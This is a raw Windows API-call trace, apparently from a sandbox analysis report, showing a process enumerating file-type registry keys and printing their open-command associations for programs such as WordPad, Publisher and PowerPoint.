[0101.160] SetLastError (dwErrCode=0x2) [0101.161] RegCloseKey (hKey=0x0) returned 0x6 [0101.161] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa67, lpName=0x2eef50, cchName=0x104 | out: lpName="odctablecollectionfile") returned 0x0 [0101.161] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="odctablecollectionfile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.161] SetLastError (dwErrCode=0x2) [0101.161] RegCloseKey (hKey=0x0) returned 0x6 [0101.161] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa68, lpName=0x2eef50, cchName=0x104 | out: lpName="odctablefile") returned 0x0 [0101.161] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="odctablefile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.161] SetLastError (dwErrCode=0x2) [0101.161] RegCloseKey (hKey=0x0) returned 0x6 [0101.161] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa69, lpName=0x2eef50, cchName=0x104 | out: lpName="odffile") returned 0x0 [0101.161] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="odffile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.161] SetLastError (dwErrCode=0x2) [0101.161] RegCloseKey (hKey=0x0) returned 0x6 [0101.161] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa6a, lpName=0x2eef50, cchName=0x104 | out: lpName="odtfile") returned 0x0 [0101.161] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="odtfile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.161] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x2, lpData=0x0, lpcbData=0x2eef20*=0x72) returned 0x0 [0101.161] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x72 | out: lpType=0x2eef28*=0x2, lpData="\"%ProgramFiles%\\Windows NT\\Accessories\\WORDPAD.EXE\" \"%1\"", lpcbData=0x2eef20*=0x72) returned 0x0 [0101.161] RegCloseKey (hKey=0x64) returned 0x0 [0101.161] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="odtfile=\"%ProgramFiles%\\Windows NT\\Accessories\\WORDPAD.EXE\" \"%1\"\r\n") returned 66 [0101.161] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.161] GetFileType (hFile=0x5c) returned 0x3 [0101.161] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.162] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="odtfile=\"%ProgramFiles%\\Windows NT\\Accessories\\WORDPAD.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="odtfile=\"%ProgramFiles%\\Windows NT\\Accessories\\WORDPAD.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 67 [0101.162] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x42, lpOverlapped=0x0) returned 1 [0101.162] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa6b, lpName=0x2eef50, cchName=0x104 | out: lpName="Office.awsdc") returned 0x0 [0101.162] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Office.awsdc\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.162] SetLastError (dwErrCode=0x2) [0101.162] RegCloseKey (hKey=0x0) returned 0x6 [0101.162] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa6c, lpName=0x2eef50, cchName=0x104 | out: lpName="Office.awsdc.1") returned 0x0 [0101.162] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Office.awsdc.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.162] SetLastError (dwErrCode=0x2) [0101.162] RegCloseKey (hKey=0x0) returned 0x6 [0101.162] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa6d, lpName=0x2eef50, cchName=0x104 | out: lpName="Office.LocalSyncClient") returned 0x0 [0101.162] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Office.LocalSyncClient\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.162] SetLastError (dwErrCode=0x2) [0101.163] RegCloseKey (hKey=0x0) returned 0x6 [0101.163] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa6e, lpName=0x2eef50, cchName=0x104 | out: lpName="Office.LocalSyncClient.1") returned 0x0 [0101.163] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Office.LocalSyncClient.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.163] SetLastError (dwErrCode=0x2) [0101.163] RegCloseKey (hKey=0x0) returned 0x6 [0101.163] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa6f, lpName=0x2eef50, cchName=0x104 | out: lpName="Office.Query") returned 0x0 [0101.163] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Office.Query\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.163] SetLastError (dwErrCode=0x2) [0101.163] RegCloseKey (hKey=0x0) returned 0x6 [0101.163] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa70, lpName=0x2eef50, cchName=0x104 | out: lpName="Office.QueryConstraints") returned 0x0 [0101.163] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Office.QueryConstraints\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.163] SetLastError (dwErrCode=0x2) [0101.163] RegCloseKey (hKey=0x0) returned 0x6 [0101.163] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa71, lpName=0x2eef50, cchName=0x104 | out: lpName="Office.QueryConstraintsBuilder") returned 0x0 [0101.163] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Office.QueryConstraintsBuilder\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.163] SetLastError (dwErrCode=0x2) [0101.163] RegCloseKey (hKey=0x0) returned 0x6 [0101.163] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa72, lpName=0x2eef50, cchName=0x104 | out: lpName="Office.Row") returned 0x0 [0101.163] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Office.Row\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.163] SetLastError (dwErrCode=0x2) [0101.163] RegCloseKey (hKey=0x0) returned 0x6 [0101.163] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa73, lpName=0x2eef50, cchName=0x104 | out: lpName="Office.Session") returned 0x0 [0101.163] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Office.Session\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.163] SetLastError (dwErrCode=0x2) [0101.163] RegCloseKey (hKey=0x0) returned 0x6 [0101.163] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa74, lpName=0x2eef50, cchName=0x104 | out: lpName="Office.StorageServer") returned 0x0 [0101.164] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Office.StorageServer\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.164] SetLastError (dwErrCode=0x2) [0101.164] RegCloseKey (hKey=0x0) returned 0x6 [0101.164] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa75, lpName=0x2eef50, cchName=0x104 | out: lpName="OfficeCompatible.Application.x64") returned 0x0 [0101.164] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OfficeCompatible.Application.x64\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.164] SetLastError (dwErrCode=0x2) [0101.164] RegCloseKey (hKey=0x0) returned 0x6 [0101.164] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa76, lpName=0x2eef50, cchName=0x104 | out: lpName="OfficeCompatible.Application.x86") returned 0x0 [0101.164] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OfficeCompatible.Application.x86\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.164] SetLastError (dwErrCode=0x2) [0101.164] RegCloseKey (hKey=0x0) returned 0x6 [0101.164] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa77, lpName=0x2eef50, cchName=0x104 | out: lpName="OfficeListShortcut") returned 0x0 [0101.164] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OfficeListShortcut\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.164] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x7e) returned 0x0 [0101.164] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x7e | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSPUB.EXE\" %1", lpcbData=0x2eef20*=0x7e) returned 0x0 [0101.164] RegCloseKey (hKey=0x64) returned 0x0 [0101.164] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="OfficeListShortcut=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSPUB.EXE\" %1\r\n") returned 83 [0101.164] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.164] GetFileType (hFile=0x5c) returned 0x3 [0101.164] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.165] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OfficeListShortcut=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSPUB.EXE\" %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OfficeListShortcut=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSPUB.EXE\" %1\r\n", lpUsedDefaultChar=0x0) returned 84 [0101.165] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x53, lpOverlapped=0x0) returned 1 [0101.165] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa78, lpName=0x2eef50, cchName=0x104 | out: lpName="OfficePriv.Application") returned 0x0 [0101.165] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OfficePriv.Application\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.165] SetLastError (dwErrCode=0x2) [0101.165] RegCloseKey (hKey=0x0) returned 0x6 [0101.165] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa79, lpName=0x2eef50, cchName=0x104 | out: lpName="OfficeTheme") returned 0x0 [0101.165] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OfficeTheme\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.165] SetLastError (dwErrCode=0x2) [0101.165] RegCloseKey (hKey=0x0) returned 0x6 [0101.165] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa7a, lpName=0x2eef50, cchName=0x104 | out: lpName="OfficeTheme.12") returned 0x0 [0101.165] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OfficeTheme.12\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.165] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x9a) returned 0x0 [0101.165] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x9a | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"", lpcbData=0x2eef20*=0x9a) returned 0x0 [0101.166] RegCloseKey (hKey=0x64) returned 0x0 [0101.166] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="OfficeTheme.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n") returned 93 [0101.166] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.166] GetFileType (hFile=0x5c) returned 0x3 [0101.166] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.166] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="OfficeTheme.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OfficeTheme.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 94 [0101.166] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5d, lpOverlapped=0x0) returned 1 [0101.166] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa7b, lpName=0x2eef50, cchName=0x104 | out: lpName="OldFont") returned 0x0 [0101.166] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OldFont\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.166] SetLastError (dwErrCode=0x2) [0101.166] RegCloseKey (hKey=0x0) returned 0x6 [0101.166] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa7c, lpName=0x2eef50, cchName=0x104 | out: lpName="OLE DB Row Proxy") returned 0x0 [0101.166] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OLE DB Row Proxy\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.166] SetLastError (dwErrCode=0x2) [0101.166] RegCloseKey (hKey=0x0) returned 0x6 [0101.166] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa7d, lpName=0x2eef50, cchName=0x104 | out: lpName="OLE DB Row Server") returned 0x0 [0101.166] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OLE DB Row Server\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.166] SetLastError (dwErrCode=0x2) [0101.166] RegCloseKey (hKey=0x0) returned 0x6 [0101.167] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa7e, lpName=0x2eef50, cchName=0x104 | out: lpName="OLE DB Rowset Proxy") returned 0x0 [0101.167] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OLE DB Rowset Proxy\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.167] SetLastError (dwErrCode=0x2) [0101.167] RegCloseKey (hKey=0x0) returned 0x6 [0101.167] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa7f, lpName=0x2eef50, cchName=0x104 | out: lpName="OLE DB Rowset Server") returned 0x0 [0101.167] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OLE DB Rowset Server\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.167] SetLastError (dwErrCode=0x2) [0101.167] RegCloseKey (hKey=0x0) returned 0x6 [0101.167] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa80, lpName=0x2eef50, cchName=0x104 | out: lpName="OlePrn.AspHelp") returned 0x0 [0101.167] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OlePrn.AspHelp\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.167] SetLastError (dwErrCode=0x2) [0101.167] RegCloseKey (hKey=0x0) returned 0x6 [0101.167] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa81, lpName=0x2eef50, cchName=0x104 | out: lpName="OlePrn.AspHelp.1") returned 0x0 [0101.167] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OlePrn.AspHelp.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.167] SetLastError (dwErrCode=0x2) [0101.167] RegCloseKey (hKey=0x0) returned 0x6 [0101.167] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa82, lpName=0x2eef50, cchName=0x104 | out: lpName="OlePrn.DSPrintQueue") returned 0x0 [0101.167] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OlePrn.DSPrintQueue\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.167] SetLastError (dwErrCode=0x2) [0101.167] RegCloseKey (hKey=0x0) returned 0x6 [0101.167] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa83, lpName=0x2eef50, cchName=0x104 | out: lpName="OlePrn.DSPrintQueue.1") returned 0x0 [0101.167] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OlePrn.DSPrintQueue.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.168] SetLastError (dwErrCode=0x2) [0101.168] RegCloseKey (hKey=0x0) returned 0x6 [0101.168] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa84, lpName=0x2eef50, cchName=0x104 | out: lpName="OlePrn.OleCvt") returned 0x0 [0101.168] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OlePrn.OleCvt\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.168] SetLastError (dwErrCode=0x2) [0101.168] RegCloseKey (hKey=0x0) returned 0x6 [0101.168] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa85, lpName=0x2eef50, cchName=0x104 | out: lpName="OlePrn.OleCvt.1") returned 0x0 [0101.168] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OlePrn.OleCvt.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.168] SetLastError (dwErrCode=0x2) [0101.168] RegCloseKey (hKey=0x0) returned 0x6 [0101.168] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa86, lpName=0x2eef50, cchName=0x104 | out: lpName="OlePrn.OleInstall") returned 0x0 [0101.168] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OlePrn.OleInstall\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.168] SetLastError (dwErrCode=0x2) [0101.168] RegCloseKey (hKey=0x0) returned 0x6 [0101.168] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa87, lpName=0x2eef50, cchName=0x104 | out: lpName="OlePrn.OleInstall.1") returned 0x0 [0101.168] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OlePrn.OleInstall.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.168] SetLastError (dwErrCode=0x2) [0101.168] RegCloseKey (hKey=0x0) returned 0x6 [0101.168] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa88, lpName=0x2eef50, cchName=0x104 | out: lpName="OlePrn.OleSNMP") returned 0x0 [0101.168] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OlePrn.OleSNMP\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.168] SetLastError (dwErrCode=0x2) [0101.168] RegCloseKey (hKey=0x0) returned 0x6 [0101.168] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa89, lpName=0x2eef50, cchName=0x104 | out: lpName="OlePrn.OleSNMP.1") returned 0x0 [0101.168] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OlePrn.OleSNMP.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.169] SetLastError (dwErrCode=0x2) [0101.169] RegCloseKey (hKey=0x0) returned 0x6 [0101.169] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa8a, lpName=0x2eef50, cchName=0x104 | out: lpName="OlePrn.PrinterURL") returned 0x0 [0101.169] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OlePrn.PrinterURL\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.169] SetLastError (dwErrCode=0x2) [0101.169] RegCloseKey (hKey=0x0) returned 0x6 [0101.169] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa8b, lpName=0x2eef50, cchName=0x104 | out: lpName="OlePrn.PrinterURL.1") returned 0x0 [0101.169] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OlePrn.PrinterURL.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.169] SetLastError (dwErrCode=0x2) [0101.169] RegCloseKey (hKey=0x0) returned 0x6 [0101.169] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa8c, lpName=0x2eef50, cchName=0x104 | out: lpName="OLETransactionManagers") returned 0x0 [0101.169] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OLETransactionManagers\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.169] SetLastError (dwErrCode=0x2) [0101.169] RegCloseKey (hKey=0x0) returned 0x6 [0101.169] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa8d, lpName=0x2eef50, cchName=0x104 | out: lpName="omicaut.MathInputControl") returned 0x0 [0101.169] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="omicaut.MathInputControl\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.169] SetLastError (dwErrCode=0x2) [0101.169] RegCloseKey (hKey=0x0) returned 0x6 [0101.169] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa8e, lpName=0x2eef50, cchName=0x104 | out: lpName="oms") returned 0x0 [0101.169] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="oms\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.169] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x136) returned 0x0 [0101.170] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c9380, lpcbData=0x2eef20*=0x136 | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Client\\AppVLp.exe\" rundll32.exe C:\\Program Files\\Microsoft Office\\Root\\Office16\\OMSMAIN.DLL, OmsProtocolHandler %1", lpcbData=0x2eef20*=0x136) returned 0x0 [0101.170] RegCloseKey (hKey=0x64) returned 0x0 [0101.170] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="oms=\"C:\\Program Files\\Microsoft Office\\Root\\Client\\AppVLp.exe\" rundll32.exe C:\\Program Files\\Microsoft Office\\Root\\Office16\\OMSMAIN.DLL, OmsProtocolHandler %1\r\n") returned 160 [0101.170] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.170] GetFileType (hFile=0x5c) returned 0x3 [0101.170] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.170] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="oms=\"C:\\Program Files\\Microsoft Office\\Root\\Client\\AppVLp.exe\" rundll32.exe C:\\Program Files\\Microsoft Office\\Root\\Office16\\OMSMAIN.DLL, OmsProtocolHandler %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oms=\"C:\\Program Files\\Microsoft Office\\Root\\Client\\AppVLp.exe\" rundll32.exe C:\\Program Files\\Microsoft Office\\Root\\Office16\\OMSMAIN.DLL, OmsProtocolHandler %1\r\n", lpUsedDefaultChar=0x0) returned 161 [0101.170] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0xa0, lpOverlapped=0x0) returned 1 [0101.170] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa8f, lpName=0x2eef50, cchName=0x104 | out: lpName="OneIndex.ShellFolder") returned 0x0 [0101.170] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OneIndex.ShellFolder\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.170] SetLastError (dwErrCode=0x2) [0101.170] RegCloseKey (hKey=0x0) returned 0x6 [0101.170] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa90, lpName=0x2eef50, cchName=0x104 | out: lpName="OneIndex.ShellFolder.1") returned 0x0 [0101.170] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OneIndex.ShellFolder.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.170] SetLastError (dwErrCode=0x2) [0101.170] RegCloseKey (hKey=0x0) returned 0x6 [0101.170] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa91, lpName=0x2eef50, cchName=0x104 | out: lpName="OneIndex16") returned 0x0 [0101.171] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="OneIndex16\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.171] SetLastError (dwErrCode=0x2) [0101.171] RegCloseKey (hKey=0x0) returned 0x6 [0101.171] 